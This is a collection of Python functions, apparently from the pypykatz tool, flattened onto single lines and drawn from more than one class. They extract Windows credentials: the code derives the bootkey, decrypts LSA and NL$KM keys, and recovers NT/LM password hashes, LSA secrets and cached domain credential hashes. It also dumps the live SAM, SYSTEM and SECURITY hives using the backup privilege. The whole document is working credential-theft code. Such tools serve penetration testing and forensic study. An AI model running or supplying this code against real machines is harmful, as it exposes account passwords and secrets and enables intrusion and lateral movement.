def get_NKLM_key(self): logger.debug('[SECURITY] Fetching NK$LM key...') if self.lsa_key is None: self.get_lsa_key() value = self.hive.get_value('Policy\\Secrets\\NL$KM\\CurrVal\\default') if value is None: logger.error('[SECURITY] Could not find NL$KM in registry') raise Exception('Could not find NL$KM in registry :(') if self.lsa_secret_key_vista_type is True: self.NKLM_key = b'' record = LSA_SECRET.from_bytes(value[1]) key = SECURITY.sha256_multi(self.lsa_key, record.data[:32]) cipher = AES(key) n = 16 for block in [ record.data[32:][i:i + n] for i in range(0, len(record.data[32:]), n) ]: #terrible, terrible workaround if len(block) < n: block += b'\x00' * (16 - len(block)) self.NKLM_key += cipher.decrypt(block) else: self.NKLM_key = self.decrypt_secret(self.lsa_key, value[1]) logger.debug('[SECURITY] NL$KM key: %s' % self.NKLM_key.hex()) return self.NKLM_key
def decrypt_lsa_key(self, data): logger.debug('[SECURITY] Decrypting LSA key...') if self.lsa_secret_key_vista_type is True: record = LSA_SECRET.from_bytes(data) key = SECURITY.sha256_multi(self.bootkey, record.data[:32]) secret_dec = b'' cipher = AES(key) n = 16 for block in [ record.data[32:][i:i + n] for i in range(0, len(record.data[32:]), n) ]: #terrible, terrible workaround if len(block) < n: block += b'\x00' * (n - len(block)) secret_dec += cipher.decrypt(block) record = LSA_SECRET_BLOB.from_bytes(secret_dec) self.lsa_key = record.secret[52:][:32] else: ctx = hashlib.md5(self.bootkey) for i in range(1000): ctx.update(data[60:76]) cipher = RC4(ctx.digest()) record = cipher.decrypt(data[12:60]) self.lsa_key = record[0x10:0x20] logger.debug('[SECURITY] LSA key value: %s' % self.lsa_key.hex()) return self.lsa_key
def get_HBoot_key(self): logger.debug('SAM parsing hashed bootkey') QWERTY = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" DIGITS = b"0123456789012345678901234567890123456789\0" F = self.hive.get_value(r'SAM\Domains\Account\F')[1] logger.log(1,'[SAM] F key value: %s' % F) domain_properties = DOMAIN_ACCOUNT_F.from_bytes(F) if isinstance(domain_properties.key_0, SAM_KEY_DATA): rc4_key = hashlib.md5(domain_properties.key_0.salt + QWERTY + self.bootkey +DIGITS).digest() self.hashed_bootkey = RC4(rc4_key).encrypt(domain_properties.key_0.key + domain_properties.key_0.checksum) checksum = hashlib.md5(self.hashed_bootkey[:16] + DIGITS + self.hashed_bootkey[:16] + QWERTY).digest() if checksum != self.hashed_bootkey[16:]: logger.error('[SAM] HBootkey checksum verification failed!') raise Exception('[SAM] HBootkey checksum verification failed!') elif isinstance(domain_properties.key_0, SAM_KEY_DATA_AES): self.hashed_bootkey = b'' cipher = AESModeOfOperationCBC(self.bootkey, iv = domain_properties.key_0.salt) n = 16 for block in [domain_properties.key_0.data[i:i+n] for i in range(0, len(domain_properties.key_0.data), n)]: #terrible, terrible workaround self.hashed_bootkey += cipher.decrypt(block) logger.debug('[SAM] HBootkey: %s' % self.hashed_bootkey.hex()) return self.hashed_bootkey
def get_currentcontrol(self): logger.debug('[SYSTEM] determining current control set') if self.currentcontrol is not None: return self.currentcontrol ccs = self.hive.get_value('Select\\Current')[1] self.currentcontrol = "ControlSet%03d" % ccs logger.debug('[SYSTEM] current control set name: %s' % self.currentcontrol) return self.currentcontrol
async def get_secrets(self): logger.debug('SAM get_secrets invoked') NTPASSWORD = b"NTPASSWORD\0" LMPASSWORD = b"LMPASSWORD\0" NTDEFAULT = '31d6cfe0d16ae931b73c59d7e0c089c0' LMDEFAULT = 'aad3b435b51404eeaad3b435b51404ee' await self.get_HBoot_key() await self.get_machine_sid() names = await self.hive.enum_key('SAM\\Domains\\Account\\Users') for rid in names: uac = None if rid == 'Names': continue key_path = 'SAM\\Domains\\Account\\Users\\%s\\V' % rid logger.debug('[SAM] Parsing secrets for RID: %s' % rid) uac_data = await self.hive.get_value(key_path) uac_data = uac_data[1] uac = USER_ACCOUNT_V.from_bytes(uac_data) nthash = bytes.fromhex(NTDEFAULT) lmhash = bytes.fromhex(LMDEFAULT) if uac.NT_hash and isinstance(uac.NT_hash, SAM_HASH_AES): if uac.NT_hash.data != b'': nthash = self.decrypt_hash(rid, uac.NT_hash, NTPASSWORD) elif uac.NT_hash and isinstance(uac.NT_hash, SAM_HASH): if uac.NT_hash.hash != b'': nthash = self.decrypt_hash(rid, uac.NT_hash, NTPASSWORD) if uac.LM_hash and isinstance(uac.LM_hash, SAM_HASH_AES): if uac.LM_hash.data != b'': lmhash = self.decrypt_hash(rid, uac.LM_hash, LMPASSWORD) elif uac.LM_hash and isinstance(uac.LM_hash, SAM_HASH): if uac.LM_hash.hash != b'': lmhash = self.decrypt_hash(rid, uac.LM_hash, LMPASSWORD) secret = SAMSecret(uac.name, int(rid, 16), nthash, lmhash) self.secrets.append(secret) return self.secrets
def get_secrets(self): logger.debug('[SECURITY] get_secrets') self.get_lsa_key() self.dump_dcc() # Let's first see if there are cached entries keys = self.hive.enum_key('Policy\\Secrets') if keys is None: logger.debug('[SECURITY] No cached secrets found in hive') return if b'NL$Control' in keys: keys.remove(b'NL$Control') for key_name in keys: for vl in ['CurrVal', 'OldVal']: key_path = 'Policy\\Secrets\\{}\\{}\\default'.format( key_name, vl) logger.debug('[SECURITY] Parsing secrets in %s' % key_path) v = self.hive.get_value(key_path, False) if v and v[1] != 0: logger.log(1, '[SECURITY] Key %s Value %s' % (key_path, v[1])) if self.lsa_secret_key_vista_type is True: record = LSA_SECRET.from_bytes(v[1]) key = SECURITY.sha256_multi(self.lsa_key, record.data[:32]) secret_dec = b'' cipher = AES(key) n = 16 for block in [ record.data[32:][i:i + n] for i in range(0, len(record.data[32:]), n) ]: #terrible, terrible workaround if len(block) < n: block += b'\x00' * (n - len(block)) secret_dec += cipher.decrypt(block) record = LSA_SECRET_BLOB.from_bytes(secret_dec) dec_blob = record.secret else: dec_blob = self.decrypt_secret(self.lsa_key, v[1]) secret = LSASecret.process(key_name, dec_blob, vl == 'OldVal', self.system_hive) if secret is not None: self.cached_secrets.append(secret) else: logger.debug('[SECURITY] Could not open %s, skipping!' % key_path)
def get_bootkey(self): logger.debug('[SYSTEM] get_bootkey invoked') if self.bootkey is not None: return self.bootkey if self.currentcontrol is None: self.get_currentcontrol() transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7] bootkey_obf = '' for key in ['JD', 'Skew1', 'GBG', 'Data']: bootkey_obf += self.hive.get_class('%s\\Control\\Lsa\\%s' % (self.currentcontrol, key)) bootkey_obf = bytes.fromhex(bootkey_obf) self.bootkey = b'' for i in range(len(bootkey_obf)): self.bootkey += bootkey_obf[transforms[i]:transforms[i] + 1] logger.debug('[SYSTEM] bootkey: %s' % self.bootkey.hex()) return self.bootkey
def get_lsa_key(self): logger.debug('[SECURITY] Fetching LSA key...') value = self.hive.get_value('Policy\\PolEKList\\default', False) if value is None: value = self.hive.get_value('Policy\\PolSecretEncryptionKey\\default', False) if not value: logger.debug('[SECURITY] LSA key not found!') return None self.lsa_secret_key_vista_type = False logger.debug('[SECURITY] LSA secrets default to VISTA type') return self.decrypt_lsa_key(value[1])
def from_live_system(): logger.debug('Obtaining registry from local system') try: from pypykatz.commons.winapi.processmanipulator import ProcessManipulator from pypykatz.commons.winapi.constants import SE_BACKUP import winreg import tempfile import os import ntpath except Exception as e: logger.error( 'Could not import necessary packages! Are you on Windows? Error: %s' % str(e)) raise sam_name = ntpath.join(tempfile.gettempdir(), os.urandom(4).hex()) system_name = ntpath.join(tempfile.gettempdir(), os.urandom(4).hex()) security_name = ntpath.join(tempfile.gettempdir(), os.urandom(4).hex()) locations = [ ('SAM', sam_name), ('SYSTEM', system_name), ('SECURITY', security_name), ] logger.debug('Obtaining SE_BACKUP privilege...') try: po = ProcessManipulator() po.set_privilege(SE_BACKUP) except Exception as e: logger.error( 'Failed to obtain SE_BACKUP privilege! Registry dump will not work! Reason: %s' % str(e)) raise e logger.debug('Obtaining SE_BACKUP OK!') dumped_names = {} for reg_name, location in locations: logger.debug('Dumping %s...' % reg_name) try: key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, reg_name, access=0x00020000) winreg.SaveKey(key, location) key.Close() except Exception as e: logger.error('Dumping %s FAILED!! Reason: %s' % (reg_name, str(e))) else: logger.debug('Dumping %s OK!' % reg_name) dumped_names[reg_name] = location ### ### Do Parsing here! ### po = None if 'SYSTEM' in dumped_names: try: po = OffineRegistry.from_files( system_name, sam_name if 'SAM' in dumped_names else None, security_name if 'SECURITY' in dumped_names else None) except Exception as e: import traceback traceback.print_exc() else: logger.error('Failed to dump SYSTEM hive, exiting...') logger.debug('Cleaning up temp files') for reg_name, location in locations: try: os.remove(location) except Exception as e: logger.error( 'Failed to clean up temp file for %s! Sensitive files might have been left on the filesystem! Path: %s Reason: %s' % (reg_name, location, str(e))) else: logger.debug('Cleanup for %s OK!' % reg_name) return po
def dump_dcc(self): logger.debug('[SECURITY] dump_dcc invoked') cache_reg = self.hive.find_key('Cache', False) if cache_reg is None: logger.debug('[SECURITY] No DCC secrets found') return values = self.hive.list_values(cache_reg) if values == []: logger.debug('[SECURITY] No DCC secrets found') return if b'NL$Control' in values: values.remove(b'NL$Control') if b'NL$IterationCount' in values: logger.debug('[SECURITY] DCC Setting iteration count') values.remove(b'NL$IterationCount') record = self.hive.get_value('Cache\\NL$IterationCount')[1] if record > 10240: self.dcc_iteration_count = record & 0xfffffc00 else: self.dcc_iteration_count = record * 1024 self.get_lsa_key() self.get_NKLM_key() for value in values: logger.debug('[SECURITY] DCC Checking value: %s' % value) record_data = self.hive.get_value('Cache\\%s' % value.decode())[1] record = NL_RECORD.from_bytes(record_data) if record.IV != b'\x00' * 16: if record.Flags & 1 == 1: # Encrypted if self.lsa_secret_key_vista_type is True: plaintext = b'' cipher = AES(self.NKLM_key[16:32], MODE_CBC, IV=record.IV) n = 16 for block in [ record.EncryptedData[i:i + n] for i in range(0, len(record.EncryptedData), n) ]: #terrible, terrible workaround if len(block) < 16: block += b'\x00' * (16 - len(block)) plaintext += cipher.decrypt(block) else: key = hmac.new(self.NKLM_key, record.IV, digestmod='md5').digest() cipher = RC4(key) plaintext = cipher.decrypt(record.EncryptedData) else: # Plain! Until we figure out what this is, we skip it #plainText = record['EncryptedData'] logger.debug( '[SECURITY] DCC Skipping value %s, unknown formet' % value) continue dcc_hash = plaintext[:0x10] blob = io.BytesIO(plaintext[0x48:]) username = blob.read(record.UserLength).decode('utf-16-le') blob.seek( self.__pad(record.UserLength) + self.__pad(record.DomainNameLength)) domain = blob.read( record.DnsDomainNameLength).decode('utf-16-le') version = 2 if self.lsa_secret_key_vista_type is True else 1 secret = LSADCCSecret(version, domain, username, dcc_hash, iteration=self.dcc_iteration_count) self.dcc_hashes.append(secret) return self.dcc_hashes